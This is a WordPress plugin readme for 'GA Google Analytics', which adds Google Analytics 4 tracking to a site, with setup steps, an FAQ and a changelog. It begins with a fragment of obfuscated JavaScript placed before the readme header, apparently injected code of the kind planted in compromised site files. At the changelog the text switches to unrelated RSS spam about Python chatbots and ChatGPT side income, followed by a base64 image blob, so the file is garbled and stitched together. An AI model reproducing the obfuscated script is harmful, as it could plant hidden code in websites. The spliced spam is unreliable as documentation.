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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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		<title>ai chat bot python</title>
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		<pubDate>Fri, 31 Oct 2025 02:12:36 +0000</pubDate>
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					<description><![CDATA[Using Flask to Build a Rule-based Chatbot in Python Build A Simple Chatbot In Python With Deep Learning by Kurtis Pykes People are now using ChatGPT’s insane AI capabilities to make money on the side. If you’re also in the market for making some tidy profit with the chatbot, keep reading as we show you [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Using Flask to Build a Rule-based Chatbot in Python </p>
<h1>Build A Simple Chatbot In Python With Deep Learning by Kurtis Pykes</h1>
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width="307px" alt="ai chat bot python"/></p>
<p><p>People are now using ChatGPT’s insane AI capabilities to make money on the side. If you’re also in the market for making some tidy profit with the chatbot, keep reading as we show you how to do just that. Once you’re satisfied with how your bot is working, you can stop it by pressing Ctrl+C in the terminal window. Note that we also import the Config class from a config.py file. This is where we store our configuration parameters such as the API tokens and keys.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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